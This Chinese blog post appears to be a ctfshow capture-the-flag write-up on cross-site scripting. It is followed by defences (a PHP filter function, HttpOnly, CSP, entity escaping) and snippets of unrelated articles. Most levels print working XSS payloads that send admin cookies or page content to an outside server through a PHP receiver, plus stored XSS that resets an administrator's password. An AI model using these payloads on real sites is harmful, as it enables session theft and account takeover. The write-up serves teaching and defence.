WEB攻防-通用漏洞_XSS跨站_绕过修复_http_only_CSP_标签符号

server/2025/1/19 12:58:07/

目录

xss-toc" style="margin-left:0px;">1、关卡361 - 反射型xss

2、关卡317 - 过滤标签

3、关卡318 319 - 过滤标签

4、关卡320--326 - 过滤空格和尖括号

5、关卡327 - 存储型跨站

6、关卡328

7、关卡329 - 失效凭据需1步完成所需操作

8、关卡330 - 存储型-借助修改密码URL重置管理员密码(GET方式提交修改密码)

9、关卡331 - post提交修改密码

修复方案

1.字符过滤

2、httponly过滤 

3、CSP安全策略

4、其它防止跨站的策略


下面是ctfshow的关卡

xss" style="background-color:transparent;">1、关卡361 - 反射型xss

在文本框中输入123,页面中就出现123;即,在输入框中输入什么,页面中就会出现什么

测试:输入“<script>alert(1)</script>”是否会出现弹窗

测试结果:出现弹窗,说明存在跨站xss漏洞

怎么去获取这个flag呢,在ctfshow默认会有一个机器人,生成好跨站地址后,机器人会自动去访问地址触发跨站,然后让管理员把他的cookie发送出来,作为考题,flag在cookie中。 那么应该怎么获取管理员的cookie呢?

首先我们要知道在js中,document.cookie可以获取到当前的cookie,和window.location.href是跳转到url,通过这两个内部函数去让浏览器给我们发送cookie,只要打开我们构造的URL就让发生cookie到我们服务器中。所以我们要先准备一个api接收从目标网站返回的cookie信息

在自己的服务器建一个get.php

# get.php
<?php 
$cookie=$_GET['c']; 
$myfile = fopen("cookie.txt", "w+"); 
fwrite($myfile, $cookie); 
fclose($myfile); 
?>

构造跨站语句: <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>

在输入框输入跨站语句,点击“生成链接”,当机器人去触发,就可以获取到flag了

2、关卡317 - 过滤标签

上一关的跨站语句:<script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>

在输入框输入前一关的跨站语句,点击“生成链接”,发现网站没有反应,页面没有显示js语句,浏览器也没有跳转,但是正常 的输入123这样的,shi没问题的,通过尝试发现输入的语句中只要出现了<script>,网站就会对其进行过滤,那么我们把<script>标签换成其它的标签

常见的绕过,参考文章:https://xz.aliyun.com/t/4067

比如把script标签换成img标签,如<img src=1 onerror=alert("xss");>

测试:在输入框中输入img标签的跨站语句,点击“生成链接”,结果弹窗

构造payload:

① <img src=1 οnerrοr=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;>  当图片地址不存在时,触发事件,测试失败,猜测可能图片1是存在

② <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;">  失败

③ <body/οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;> 成功

这个是什么原因呢? 为什么body可以,img不行。其实这是和鼠标事件有关。鼠标事件有错误事件(onerror),有单击事件(onclick),指向触发,还有事件会在页面或图像加载完成后立即发生(onload,这个是最好的,不需要任何操作就可触发的)

3、关卡318 319 - 过滤标签

用前面的payload:<img src=adf οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie> 一样也是被过滤了,

然后用到input标签:<input οnlοad="alert('xss');"> 构造payload: <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;">没反应?换一个

用svg标签构造payload: <svg οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 页面跳转成功,成功获取到cookie和flag

4、关卡320--326 - 过滤空格和尖括号

通过测试,发现过滤了空格和<>,只要有空格或尖括号都不行

考虑绕过空格,用/代替空格 <img/src="x"/οnerrοr=alert("xss");>

构造payload: <svg/οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 页面跳转成功,成功获取到flag

5、关卡327 - 存储型跨站

将跨站语句写到邮件内容中,邮件发送成功后,对方打开邮件就会触发跨站

信的内容写跨站语句:<script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script> 收件人要写上admin。

 

 

6、关卡328

这一关出现了注册登录查看等操作,直接登录自己的账号,因为不是管理员,页面中的用户名和密码不让显示

思路: 后台管理员能够查看注册用户的账号密码,如果我注册账号时,将自己的账号或密码改为js代码,注册后js代码被存储到数据库中,当管理员查看这个账号管理的页面时,会不会触发js代码,触发了JavaScript代码后,我就可以获取到管理员的cookie值,然后可以进行用户的查看。

构造payload: <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>

 获取到管理员cookie:sessionID

用burp抓包,修改cookie的值,实现admin登录,查看到所有账户信息:

1646103778872-70d6b737-2b68-4e18-9203-d26c11a18b12.png

7、关卡329 - 失效凭据需1步完成所需操作

在页面和上一关一样, 所以同理,可以用到上一关的payload来获取cookie的值, <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script> 可以获取到cookie,但是用获取的cookie一直登录不成功,因为收到的cookie可能每10s就刷新一次,机器人刚把cookie发过来,它就退出登录,cookie就失效了

 那么应该怎么处理这个问题呢? 思路:xss跨站代码,可以获取到页面的cookie的值,也可以获取到当前页面的源代码。上一关显示源码中的flag位置,在页面密码下的第一行。 查看元素,看看是什么标识这个变量

1646105124197-2757ed3c-4715-4955-a21c-a199e5ab9408.png

可以看出,是layui-table-cell laytable-cell-1-0-1的标签标识了管理员可见,那么就构造payload,在触发XSS跨站代码的时候将“ctfshow{xxxxx}”中的flag值发送到指定位置。

xss平台上也有这个功能,但是一直都不能成功 https://xss8.cc/

自己写JS代码获取值

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show')>-1){//没找到索引就返回-1    window.location.href='http://47.100.167.248/get.php?c='+value.innerHTML;     } 
});
</script> 

注册时,JS语句写在代码处,然后登录:

 直接获取到flag的值:

 

8、关卡330 - 存储型-借助修改密码URL重置管理员密码(GET方式提交修改密码)

修改密码页面,经过抓包分析,得知,只要是登录状态,修改密码只需要访问/api/change.php?p=111111这个接口地址,就能把成功修改密码。

这个地址修改的密码是谁的密码呢?是当前登录用户;如果管理员登录了后台,同时查看了用户的注册密码信息,就可以尝试重置密码。

攻击思路:注册用户时,填写的用户名或密码是可以跳转到修改密码URL的JS代码,注册成功后,注册信息被写入数据库,只要管理员登录后台并查看了这个用户密码管理页面,就可以触发JS代码的执行,自动跳转重置密码URL,并重置管理员的密码。

构造payload:

<script> window.location.href='http://127.0.0.1/api/change.php?p=123';</script>  //触发跳转管理员本地地址,实际操作中本地地址和实际地址都要写上

实际操作改为:<script> src='http://127.0.0.1/api/change.php?p=123';</script>  //最好用src,浏览器不会明显地跳转到指定页面,而是悄悄地触发这个地址

注册账户时,用户名和密码处都填写为JS代码(因为不知道用户名和密码哪一个可以触发JS代码):

 等待机器人触发JS代码后,管理员密码被修改成功,这样就可以用admin、123成功登录管理员账号了:

9、关卡331 - post提交修改密码

同样是修改密码的地方,但是是post提交数据,抓包分析

1646113758451-7d66eb92-a3d9-4fea-8ce8-9e2240647ca3.png

那么应该怎么使用JavaScript来进行post提交数据呢?

构造payload:

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

注册时,用户名和密码处填写注入语句:

JS代码被触发后,用admin登录,就可以得到flag

修复方案

1.字符过滤

自定义过滤函数:检测输入的xss代码,一旦检测到关键字,就过滤

过滤一些危险字符,以及转义& < > " ' 等危险字符 

# 自定义过滤函数function RemoveXSS($val) {// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed// this prevents some character re-spacing such as <java\0script>// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);// straight replacements, the user should never need these since they're normal characters// this prevents like <IMG SRC=@avascript:alert('XSS')>$search = 'abcdefghijklmnopqrstuvwxyz';$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';$search .= '1234567890!@#$%^&*()';$search .= '~`";:?+/={}[]-_|\'\\';for ($i = 0; $i < strlen($search); $i++) {// ;? matches the ;, which is optional// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars// @ @ search for the hex values$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;// @ @ 0{0,7} matches '0' zero to seven times$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;}// 检测xss语句中常见的关键字 now the only remaining whitespace attacks are \t, \n, and \r$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title');$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');$ra = array_merge($ra1, $ra2);$found = true; // keep replacing as long as the previous round replaced somethingwhile ($found == true) {$val_before = $val;for ($i = 0; $i < sizeof($ra); $i++) {$pattern = '/';for ($j = 0; $j < strlen($ra[$i]); $j++) {if ($j > 0) {$pattern .= '(';$pattern .= '(&#[xX]0{0,8}([9ab]);)';$pattern .= '|';$pattern .= '|(&#0{0,8}([9|10|13]);)';$pattern .= ')*';}$pattern .= $ra[$i][$j];}$pattern .= '/i';$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag$val = preg_replace($pattern, $replacement, $val); // filter out the hex tagsif ($val_before == $val) {// no replacements were made, so exit the loop$found = false;}}}return $val;
}

2、httponly过滤 

httponly是微软对cookie做的扩展,主要是解决用户的cookie可能被盗用的问题,它用于限制Cookie的访问权限,禁止客户端的JavaScript代码访问和修改设置了HTTPOnly属性的Cookie,开启后即使获取到cookie,也是不完整的cookie

3、CSP安全策略

其核心目的是通过限制网页可以加载的外部资源,防止恶意脚本通过第三方资源注入到网站中。它允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行。

例:

在zb_system/admin/index.php 这个文件中设置跨站代码<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT> ,刷新这个页面http://127.0.0.1:8107/zb_system/admin/index.php 可以发现他向xss平台发送了数据。

如果设置了CSP,cookie不能发送不出去

4、其它防止跨站的策略

  1. 将输入的内容进行长度限制;

  2. 实体转义等,比如,把<转义成7gt &gt等

  PHP针对HTML实体字符的转义函数有:

    ① htmlspecialchars()

    ② htmlspecialchars_decode()

    ③ htmlentities()

    ④ html_entity_decode() 函数


http://www.ppmy.cn/server/159634.html

相关文章

wireshark上没有显示出来rtp协议如何处理

分析》启用的协议 搜索rtp&#xff0c;勾选上rtp_udp即可。

OpenHarmony-7.IDL工具

IDL 工具 1.openharmony IDL工具 在OpenHarmony中&#xff0c;当应用/系统服务的客户端和服务端进行IPC&#xff08;Inter-Process Communication&#xff09;跨线程通信时&#xff0c;需要定义双方都认可的接口&#xff0c;以保障双方可以成功通信&#xff0c;OpenHarmony ID…

开发规范

开发规范 企业项目开发有2种开发模式&#xff1a;前后台混合开发和前后台分离开发。 前后台混合开发 顾名思义就是前台后台代码混在一起开发&#xff0c;如下图所示&#xff1a; 这种开发模式有如下缺点&#xff1a; 沟通成本高&#xff1a;后台人员发现前端有问题&#xf…

机器学习 - 如何理解几何学中的超平面 ?

线性回归公式 ywTxb 是数据建模中的基础&#xff1a; 数学上&#xff0c;它是一个线性函数。几何上&#xff0c;它是一个超平面。 那么如何理解超平面这个概念呢&#xff1f; 超平面&#xff08;hyperplane&#xff09;是几何学中的一个基本概念&#xff0c;尤其在高维空间和…

windows蓝牙驱动开发-BLE音频(三)

序列 音频驱动程序初始化 当 IHV ACX 流式处理驱动程序加载并确定它支持蓝牙 LE 音频流式处理时&#xff0c;它应通过以下方法来显示对该技术的支持&#xff1a;创建 ACXFACTORYCIRCUIT 对象&#xff0c;并使用音频终结点模板绑定 ID 中定义的 ID 向 ACX 注册蓝牙模板绑定。 …

【AIGC-ChatGPT进阶提示词指令】心灵修复师:一个基于情感共鸣的智慧对话系统设计

引言 在当今快节奏的生活中&#xff0c;心理健康问题日益凸显。如何借助人工智能技术&#xff0c;构建一个既富有温度又专业可靠的心理支持系统&#xff0c;成为了一个值得深入探讨的课题。本文将详细介绍一个名为"心灵修复师"的对话系统设计&#xff0c;这个系统通…

人脸识别【python-基于OpenCV】

1. 导入并显示图片 #导入模块 import cv2 as cv#读取图片 imgcv.imread(img/wx(1).jpg) #路径名为全英文&#xff0c;出现中文 图片加载失败,"D:\picture\wx.jpg" #显示图片 &#xff08;显示标题&#xff0c;显示图片对象&#xff09; cv.imshow(read_picture,im…

Debian终端高亮(显示不同颜色)

起因 Debian终端与CentOS不一样&#xff0c;CentOS终端默认自带高亮显示&#xff0c;不同文件类型的文件显示颜色不一样&#xff0c;而Debian默认都显示为一样的颜色。 解决方法 为了debian终端显示有颜色有如下方法&#xff1a; 方法一&#xff1a;单次有效 ls --colorau…